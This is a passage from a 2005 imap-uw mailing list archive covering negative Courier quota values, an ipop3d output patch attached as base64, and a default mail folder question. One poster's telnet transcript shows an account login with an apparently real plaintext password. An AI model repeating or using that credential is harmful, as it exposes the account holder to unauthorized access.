https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Nov 11 11:10:02 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Nov 2005 11:10:02 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jABJA2hh027736 for ; Fri, 11 Nov 2005 11:10:02 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jABJ9xUF000372 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 11 Nov 2005 11:09:59 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jABJ9wtQ002001; Fri, 11 Nov 2005 11:09:58 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jABJ9w80009888; Fri, 11 Nov 2005 11:09:58 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jABJ9vvN009880 for ; Fri, 11 Nov 2005 11:09:57 -0800 Received: from boost.horde.net (boost.horde.net [69.55.65.181]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jABJ9uGZ022684 for ; Fri, 11 Nov 2005 11:09:56 -0800 Received: by boost.horde.net (Postfix, from userid 100) id 6760C417F; Fri, 11 Nov 2005 14:09:51 -0500 (EST) Date: Fri, 11 Nov 2005 14:09:51 -0500 From: John Morrissey To: imap-uw@u.washington.edu Message-ID: <20051111190951.GA20966@boost.horde.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Marks: The Spot X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Negative usage and libc-client parsing X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello all, We use libc-client to access Courier IMAP, which stores mail in Maildir++ format. During normal operation, it's possible for Maildir++ quota usage to become negative (less than zero bytes used), like so: [jwm@webmail06:pts/1 ~> telnet localhost 143 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. * OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION] Courier-IMAP ready. Copyright 1998-2004 Double Precision, Inc. See COPYING for distribution information. a login johnmorr5 7houting a OK LOGIN Ok. b getquotaroot INBOX * QUOTAROOT "INBOX" "ROOT" * QUOTA "ROOT" (STORAGE 0 10240 MESSAGE -1 10000) b OK GETQUOTAROOT Ok. However, imap_parse_unsolicited() seems to assume quota usage will always be positive and uses strtoul() to parse these values. As a result, parsing QUOTA strings with negative values always yields "Bad quota resource list for ROOT." It seems like a simple matter to use strtol() and expand the isdigit() checks to include "-" for negative values. I can submit a patch, but wanted to get some feedback on my observations first. john -- John Morrissey _o /\ ---- __o jwm@horde.net _-< \_ / \ ---- < \, www.horde.net/ __(_)/_(_)________/ \_______(_) /_(_)__ _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Nov 11 11:35:31 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Nov 2005 11:35:31 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jABJZVnf028666 for ; Fri, 11 Nov 2005 11:35:31 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jABJZSXJ001384 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 11 Nov 2005 11:35:28 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jABJZQ2W003328; Fri, 11 Nov 2005 11:35:26 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jABJZQG5011938; Fri, 11 Nov 2005 11:35:26 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jABJZPYU011927 for ; Fri, 11 Nov 2005 11:35:25 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jABJZOh9026275 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 11 Nov 2005 11:35:24 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jABJZNdk018969 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 11 Nov 2005 11:35:23 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jABJZJDs005451 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 11 Nov 2005 11:35:22 -0800 Date: Fri, 11 Nov 2005 11:35:17 -0800 (PST) From: Mark Crispin To: John Morrissey Subject: Re: [Imap-uw] Negative usage and libc-client parsing In-Reply-To: <20051111190951.GA20966@boost.horde.net> Message-ID: References: <20051111190951.GA20966@boost.horde.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu All numeric values in IMAP are unsigned; there is no such thing as a negative numeric value in the IMAP protocol. IMAP has two types of numeric value: number a value between 0 and 4,294,967,295 inclusive nz-number a value between 1 and 4,294,967,295 inclusive. The IMAP QUOTA specification (RFC 2087, page 5) defines all the numeric values used by quota as "number". A change to use strtol() instead of strtoul() would break the handling of half of the available number space (from 2,147,483,648 to 4,294,967,295). Consequently, such a patch would not be accepted. Sadly, this is (yet another) bug in Courier. There are numerous known issues in which Courier fails to comply with the IMAP specification; and past history indicates that there is little (if any) hope that these issues will ever be fixed. If Maildir format is a requirement for you, consider switching to the Dovecot server. I don't know very much about it, but its author participates in the IMAP community and seems willing to make changes in his software as needed to require with the IMAP specification. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Nov 14 09:44:18 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Nov 2005 09:44:18 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEHiHSm009017 for ; Mon, 14 Nov 2005 09:44:17 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEHiG8a022331 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 14 Nov 2005 09:44:17 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEHiGNW013017; Mon, 14 Nov 2005 09:44:16 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEHiGpb017816; Mon, 14 Nov 2005 09:44:16 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEHiEkY017808 for ; Mon, 14 Nov 2005 09:44:14 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEHiEaD014631 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 14 Nov 2005 09:44:14 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEHiD96006919 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 14 Nov 2005 09:44:14 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEHiBhF015221 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 14 Nov 2005 09:44:12 -0800 Date: Mon, 14 Nov 2005 09:44:10 -0800 (PST) From: Mark Crispin To: Adrian Buciuman Subject: Re: [Imap-uw] two ipop3d "bugs" In-Reply-To: <35e353d50511101934n20232c9dmde2d93b50d46486e@mail.gmail.com> Message-ID: References: <35e353d50511101934n20232c9dmde2d93b50d46486e@mail.gmail.com> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1854028457-1131990037=:533" Content-ID: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --0-1854028457-1131990037=:533 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; FORMAT=flowed Content-ID: I considered your two issues carefully. I agree that the Status: line should always be at the start of a line and that an extra blank line should not be written if the message has no body. The attached ipop3d.patch file has both changes, and these changes will appear in the next imap-2005 development snapshot. The second issue is more problematic. The POP3 protocol does not have any provision for "holes" in the mailbox ("message no longer exists"). In my opinion, the IMAP protocol does not have "holes" either. The problem is that the Cyrus server disagrees with that opinion; I understand the technical issues why they made that decision even though I continue to disagree with their chosen solution. The bottom line here is that ipop3d is doing the best that it reasonably can given that, in effect, it's been dealt a lousy hand of cards. There will be one minor change: instead of the previous retr 2 +OK 10030 octets Status: RO . behavior you will now see retr 2 +OK 10030 octets Status: RO . That is, you'll only see one blank line after the Status: line. The octet count will continue to be bogus; that came from the IMAP server. That is why I believe that Cyrus' behavior here is non-compliant with the specification. Regardless of whether there can be a "hole" in the sequence space due to expunging (I say there can not, but I am not the only voice), IMAP size counts must be exact. Since the IMAP server already informed the client of a non-empty message, it can't withdraw the message contents since that would change the size. This will probably end up being hashed out with the Cyrus developers offline from this list, and eventually we (meaning them and me) will figure out something better. But for the nonce, I hope that the attached patch will suffice for you. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. --0-1854028457-1131990037=:533 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME=ipop3d.patch Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME=ipop3d.patch KioqIGlwb3AzZC5jfglXZWQgQXByIDEzIDE3OjQ0OjEwIDIwMDUNCi0tLSBp cG9wM2QuYwlNb24gTm92IDE0IDA5OjIxOjQxIDIwMDUNCioqKioqKioqKioq KioqKg0KKioqIDEwLDE2ICoqKioNCiAgICoJCUludGVybmV0OiBNUkNAQ0FD Lldhc2hpbmd0b24uRURVDQogICAqDQogICAqIERhdGU6CTEgTm92ZW1iZXIg MTk5MA0KISAgKiBMYXN0IEVkaXRlZDoJMTMgQXByaWwgMjAwNQ0KICAgKiAN CiAgICogVGhlIElNQVAgdG9vbGtpdCBwcm92aWRlZCBpbiB0aGlzIERpc3Ry aWJ1dGlvbiBpcw0KICAgKiBDb3B5cmlnaHQgMTk4OC0yMDA1IFVuaXZlcnNp dHkgb2YgV2FzaGluZ3Rvbi4NCi0tLSAxMCwxNiAtLS0tDQogICAqCQlJbnRl cm5ldDogTVJDQENBQy5XYXNoaW5ndG9uLkVEVQ0KICAgKg0KICAgKiBEYXRl OgkxIE5vdmVtYmVyIDE5OTANCiEgICogTGFzdCBFZGl0ZWQ6CTE0IE5vdmVt YmVyIDIwMDUNCiAgICogDQogICAqIFRoZSBJTUFQIHRvb2xraXQgcHJvdmlk ZWQgaW4gdGhpcyBEaXN0cmlidXRpb24gaXMNCiAgICogQ29weXJpZ2h0IDE5 ODgtMjAwNSBVbml2ZXJzaXR5IG9mIFdhc2hpbmd0b24uDQoqKioqKioqKioq KioqKioNCioqKiAzNDMsMzYxICoqKioNCiAgCSAgICAgIHNwcmludGYgKHRt cCwiK09LICVsdSBvY3RldHNcMDE1XDAxMiIsDQogIAkJICAgICAgIChlbHQg PSBtYWlsX2VsdCAoc3RyZWFtLG1zZ1tpXSkpLT5yZmM4MjJfc2l6ZSArIFNM RU4pOw0KICAJICAgICAgUFNPVVQgKHRtcCk7DQohIAkJCQkvKiBvdXRwdXQg aGVhZGVyICovDQogIAkgICAgICB0ID0gbWFpbF9mZXRjaF9oZWFkZXIgKHN0 cmVhbSxtc2dbaV0sTklMLE5JTCwmayxGVF9QRUVLKTsNCiEgCSAgICAgIGJs YXQgKHQsLTEsayxOSUwpOw0KISAJCQkJLyogb3V0cHV0IHN0YXR1cyAqLw0K ICAJICAgICAgc3ByaW50ZiAodG1wLFNUQVRVUyxlbHQtPnNlZW4gPyAiUiIg OiAiICIsDQogIAkJICAgICAgIGVsdC0+cmVjZW50ID8gIiAiIDogIk8iKTsN CiEgCSAgICAgIFBTT1VUICh0bXApOw0KISAJICAgICAgQ1JMRjsJCS8qIGRl bGltaXQgaGVhZGVyIGFuZCB0ZXh0ICovDQogIAkJCQkvKiBvdXRwdXQgdGV4 dCAqLw0KICAJICAgICAgdCA9IG1haWxfZmV0Y2hfdGV4dCAoc3RyZWFtLG1z Z1tpXSxOSUwsJmssDQogIAkJCQkgICBGVF9SRVRVUk5TVFJJTkdTVFJVQ1Qp Ow0KISAJICAgICAgYmxhdCAodCwtMSxrLCZzdHJlYW0tPnByaXZhdGUuc3Ry aW5nKTsNCiEgCSAgICAgIENSTEY7CQkvKiBlbmQgb2YgbGlzdCAqLw0KICAJ ICAgICAgUEJPVVQgKCcuJyk7DQogIAkgICAgICBDUkxGOw0KICAJICAgIH0N Ci0tLSAzNDMsMzcwIC0tLS0NCiAgCSAgICAgIHNwcmludGYgKHRtcCwiK09L ICVsdSBvY3RldHNcMDE1XDAxMiIsDQogIAkJICAgICAgIChlbHQgPSBtYWls X2VsdCAoc3RyZWFtLG1zZ1tpXSkpLT5yZmM4MjJfc2l6ZSArIFNMRU4pOw0K ICAJICAgICAgUFNPVVQgKHRtcCk7DQohIAkJCQkvKiBnZXQgaGVhZGVyICov DQogIAkgICAgICB0ID0gbWFpbF9mZXRjaF9oZWFkZXIgKHN0cmVhbSxtc2db aV0sTklMLE5JTCwmayxGVF9QRUVLKTsNCiEgCSAgICAgIGJsYXQgKHQsLTEs ayxOSUwpOy8qIHdyaXRlIHVwIHRvIHRyYWlsaW5nIENSTEYgKi8NCiEgCQkJ CS8qIGJ1aWxkIHN0YXR1cyAqLw0KICAJICAgICAgc3ByaW50ZiAodG1wLFNU QVRVUyxlbHQtPnNlZW4gPyAiUiIgOiAiICIsDQogIAkJICAgICAgIGVsdC0+ cmVjZW50ID8gIiAiIDogIk8iKTsNCiEgCQkJCS8qIG5vcm1hbCBoZWFkZXIg ZW5kaW5nIHdpdGggQ1JMRiBDUkxGPyAqLw0KISAJICAgICAgaWYgKHRbay0z XSA9PSAnXDAxMicpIHsNCiEgCQlQU09VVCAodG1wKTsJLyogd3JpdGUgc3Rh dHVzICovDQohIAkJQ1JMRjsJCS8qIHRoZW4gd3JpdGUgc2Vjb25kIENSTEYg Ki8NCiEgCSAgICAgIH0NCiEgCSAgICAgIGVsc2UgewkJLyogYWJub3JtYWwg LSBubyBibGFuayBsaW5lIGF0IGVuZCBvZiBoZWFkZXIgKi8NCiEgCQlDUkxG OwkJLyogd3JpdGUgQ1JMRiBmaXJzdCB0aGVuICovDQohIAkJUFNPVVQgKHRt cCk7DQohIAkgICAgICB9DQogIAkJCQkvKiBvdXRwdXQgdGV4dCAqLw0KICAJ ICAgICAgdCA9IG1haWxfZmV0Y2hfdGV4dCAoc3RyZWFtLG1zZ1tpXSxOSUws JmssDQogIAkJCQkgICBGVF9SRVRVUk5TVFJJTkdTVFJVQ1QpOw0KISAJICAg ICAgaWYgKGspIHsJCS8qIG9ubHkgaWYgdGhlcmUgaXMgYSB0ZXh0IGJvZHkg Ki8NCiEgCQlibGF0ICh0LC0xLGssJnN0cmVhbS0+cHJpdmF0ZS5zdHJpbmcp Ow0KISAJCUNSTEY7CQkvKiBlbmQgb2YgbGlzdCAqLw0KISAJICAgICAgfQ0K ICAJICAgICAgUEJPVVQgKCcuJyk7DQogIAkgICAgICBDUkxGOw0KICAJICAg IH0NCioqKioqKioqKioqKioqKg0KKioqIDQwMiw0MTUgKioqKg0KICAJCQkJ LyogdXBkYXRlIGhpZ2hlc3QgbWVzc2FnZSBhY2Nlc3NlZCAqLw0KICAJICAg ICAgaWYgKGkgPiBsYXN0KSBsYXN0ID0gaTsNCiAgCSAgICAgIFBTT1VUICgi K09LIFRvcCBvZiBtZXNzYWdlIGZvbGxvd3NcMDE1XDAxMiIpOw0KISAJCQkJ Lyogb3V0cHV0IGhlYWRlciAqLw0KICAJICAgICAgdCA9IG1haWxfZmV0Y2hf aGVhZGVyIChzdHJlYW0sbXNnW2ldLE5JTCxOSUwsJmssRlRfUEVFSyk7DQoh IAkgICAgICBibGF0ICh0LC0xLGssTklMKTsNCiEgCQkJCS8qIG91dHB1dCBz dGF0dXMgKi8NCiAgCSAgICAgIHNwcmludGYgKHRtcCxTVEFUVVMsZWx0LT5z ZWVuID8gIlIiIDogIiAiLA0KICAJCSAgICAgICBlbHQtPnJlY2VudCA/ICIg IiA6ICJPIik7DQohIAkgICAgICBQU09VVCAodG1wKTsNCiEgCSAgICAgIENS TEY7CQkvKiBkZWxpbWl0IGhlYWRlciBhbmQgdGV4dCAqLw0KICAJICAgICAg aWYgKGopIHsJCS8qIHdhbnQgYW55IHRleHQgbGluZXM/ICovDQogIAkJCQkv KiBvdXRwdXQgdGV4dCAqLw0KICAJCXQgPSBtYWlsX2ZldGNoX3RleHQgKHN0 cmVhbSxtc2dbaV0sTklMLCZrLA0KLS0tIDQxMSw0MzEgLS0tLQ0KICAJCQkJ LyogdXBkYXRlIGhpZ2hlc3QgbWVzc2FnZSBhY2Nlc3NlZCAqLw0KICAJICAg ICAgaWYgKGkgPiBsYXN0KSBsYXN0ID0gaTsNCiAgCSAgICAgIFBTT1VUICgi K09LIFRvcCBvZiBtZXNzYWdlIGZvbGxvd3NcMDE1XDAxMiIpOw0KISAJCQkJ LyogZ2V0IGhlYWRlciAqLw0KICAJICAgICAgdCA9IG1haWxfZmV0Y2hfaGVh ZGVyIChzdHJlYW0sbXNnW2ldLE5JTCxOSUwsJmssRlRfUEVFSyk7DQohIAkg ICAgICBibGF0ICh0LC0xLGssTklMKTsvKiB3cml0ZSB1cCB0byB0cmFpbGlu ZyBDUkxGICovDQohIAkJCQkvKiBidWlsZCBzdGF0dXMgKi8NCiAgCSAgICAg IHNwcmludGYgKHRtcCxTVEFUVVMsZWx0LT5zZWVuID8gIlIiIDogIiAiLA0K ICAJCSAgICAgICBlbHQtPnJlY2VudCA/ICIgIiA6ICJPIik7DQohIAkJCQkv KiBub3JtYWwgaGVhZGVyIGVuZGluZyB3aXRoIENSTEYgQ1JMRj8gKi8NCiEg CSAgICAgIGlmICh0W2stM10gPT0gJ1wwMTInKSB7DQohIAkJUFNPVVQgKHRt cCk7CS8qIHdyaXRlIHN0YXR1cyAqLw0KISAJCUNSTEY7CQkvKiB0aGVuIHdy aXRlIHNlY29uZCBDUkxGICovDQohIAkgICAgICB9DQohIAkgICAgICBlbHNl IHsJCS8qIGFibm9ybWFsIC0gbm8gYmxhbmsgbGluZSBhdCBlbmQgb2YgaGVh ZGVyICovDQohIAkJQ1JMRjsJCS8qIHdyaXRlIENSTEYgZmlyc3QgdGhlbiAq Lw0KISAJCVBTT1VUICh0bXApOw0KISAJICAgICAgfQ0KICAJICAgICAgaWYg KGopIHsJCS8qIHdhbnQgYW55IHRleHQgbGluZXM/ICovDQogIAkJCQkvKiBv dXRwdXQgdGV4dCAqLw0KICAJCXQgPSBtYWlsX2ZldGNoX3RleHQgKHN0cmVh bSxtc2dbaV0sTklMLCZrLA0K --0-1854028457-1131990037=:533 Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --0-1854028457-1131990037=:533-- From pinedev@shivax2.cac.washington.edu Mon Nov 14 12:08:09 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Nov 2005 12:08:09 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEK89GC018525 for ; Mon, 14 Nov 2005 12:08:09 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEK88KV014475 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 14 Nov 2005 12:08:08 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEK87Ov001724; Mon, 14 Nov 2005 12:08:07 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEK87NO023315; Mon, 14 Nov 2005 12:08:07 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEK87Bo023304 for ; Mon, 14 Nov 2005 12:08:07 -0800 Received: from mopmsgoa01i.pfizer.com (mopmsgo.pfizer.com [148.168.100.84]) by mxe1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEK85qi012965 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 14 Nov 2005 12:08:06 -0800 Received: from gromsgia02i.pfizer.com (gromsgia02i.pfizer.com [10.128.246.151]) by mopmsgoa01i.pfizer.com (8.13.4/8.13.4) with ESMTP id jAEK7H1T015291 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Mon, 14 Nov 2005 15:07:18 -0500 Received: from mailrelay4.pfizer.com (mailrelay4.pfizer.com [148.168.74.95]) by gromsgia02i.pfizer.com (8.13.4/8.13.4) with ESMTP id jAEK79mB003016 for ; Mon, 14 Nov 2005 15:07:10 -0500 Received: from [10.35.120.101] (localhost [127.0.0.1]) by mailrelay4.pfizer.com (Switch-3.0.5/Switch-3.0.0) with ESMTP id jAEK80g6025254 for ; Mon, 14 Nov 2005 15:08:00 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v746.2) Content-Transfer-Encoding: 7bit Message-Id: <7A69D9CE-763D-41AF-812B-180305231FAB@internection.com> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: imap-uw@u.washington.edu From: Jon August Date: Mon, 14 Nov 2005 15:08:13 -0500 X-Mailer: Apple Mail (2.746.2) X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 mlx=0 adultscore=0 adjust=0 reason=mlx engine=3.1.0-05110204 definitions=3.0.0-05111402 X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 mlx=0 adultscore=0 adjust=0 reason=mlx engine=3.1.0-05110204 definitions=3.0.0-05111402 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] change default folder X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, I installed uw imap using yum and it seems to use "Mail " as the default directory in the user's home directory to store the mail folders. Is there a way to change this at run time? Can I change it to "mail" or just "~" without recompiling because I'm not sure exactly how to make this change happen with an rpm install. Thanks, -Jon _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Nov 14 12:20:46 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Nov 2005 12:20:46 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEKKkj1019397 for ; Mon, 14 Nov 2005 12:20:46 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEKKjUU002258 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 14 Nov 2005 12:20:45 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEKKjKu003192; Mon, 14 Nov 2005 12:20:45 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEKKjbw025997; Mon, 14 Nov 2005 12:20:45 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEKKhbs025988 for ; Mon, 14 Nov 2005 12:20:43 -0800 Received: from mopmsgoa01i.pfizer.com (mopmsgo.pfizer.com [148.168.100.84]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAEKKeI9021538 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 14 Nov 2005 12:20:41 -0800 Received: from gromsgia01i.pfizer.com (gromsgia01i.pfizer.com [10.128.246.150]) by mopmsgoa01i.pfizer.com (8.13.4/8.13.4) with ESMTP id jAEKJptZ025834 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) 